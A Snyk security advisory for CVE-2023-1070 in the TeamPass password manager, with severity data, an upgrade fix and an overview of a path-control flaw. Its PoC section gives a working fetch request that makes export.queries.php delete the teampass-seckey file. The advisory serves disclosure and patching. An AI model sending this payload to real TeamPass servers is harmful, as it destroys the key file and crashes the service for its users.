<p>Upgrade <code>nilsteampassnet/teampass</code> to version 3.0.10 or higher.</p>

=0.0.0, <3.0.10

Snyk CVSS

Attack Complexity Low

Availability High

Threat Intelligence

Exploit Maturity Proof of concept

EPSS 0.07% (30^th percentile)

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Snyk ID SNYK-PHP-NILSTEAMPASSNETTEAMPASS-3333095
published 28 Feb 2023
disclosed 28 Feb 2023
credit Sonia Zorba

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Introduced: 28 Feb 2023

CVE-2023-1070 Open this link in a new tab CWE-73 Open this link in a new tab

How to fix?

Upgrade nilsteampassnet/teampass to version 3.0.10 or higher.

Overview

nilsteampassnet/teampass is a password manager.

Affected versions of this package are vulnerable to External Control of File Name or Path that allows a low-privileged user to delete arbitrary text files, including teampass-seckey.txt, whose removal could trigger an unrecoverable crash.

PoC

fetch('http://localhost/teampass/sources/export.queries.php', {
    method: 'POST',
    credentials: 'include',
    body: new URLSearchParams({
        type: 'export_to_html_format_finalize',
        file: '/var/teampass/teampass-seckey',
        pdf_password: 'GoodbyeSecretKey'
    }),
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
})

References

GitHub Commit